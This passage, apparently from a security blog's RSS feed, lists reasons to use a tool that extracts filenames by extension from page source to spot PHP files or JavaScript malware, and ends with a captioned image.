<p style="text-align: justify;"><strong>Why for :</strong></p>
<p style="text-align: justify;">-Don&#8217;t loosing time to read a big generated source in order to find only one extension.</p>
<p style="text-align: justify;">-Fetching a filename of one or multiples files with simultaneaously the same extension, with .php as added filter, if the targeted website use  a rewrite mod (a php filename found can lead to other vulnerabilities, ie : uncorrect chmod)</p>
<p style="text-align: justify;">-It&#8217;s silent : somewhere you browse , everywhere you analyse from a user generated-source code point of view.</p>
<p style="text-align: justify;">- Finding javascript security, and malwares rapidly on social networks while plenty of files with the same extension are loaded at the same time.</p>
<p><strong><br />
</strong></p>
<h2><strong>Bonus : A bird example !</strong></h2>
<div class="wp-caption aligncenter" style="width: 402px"><img class=" " title="phoenix bundle" src="http://img534.imageshack.us/img534/3028/phoenixbuldle.png" alt="phoenix bundle" width="392" height="129" /><p class="wp-caption-text">phoenix bundle</p></div>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=819</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

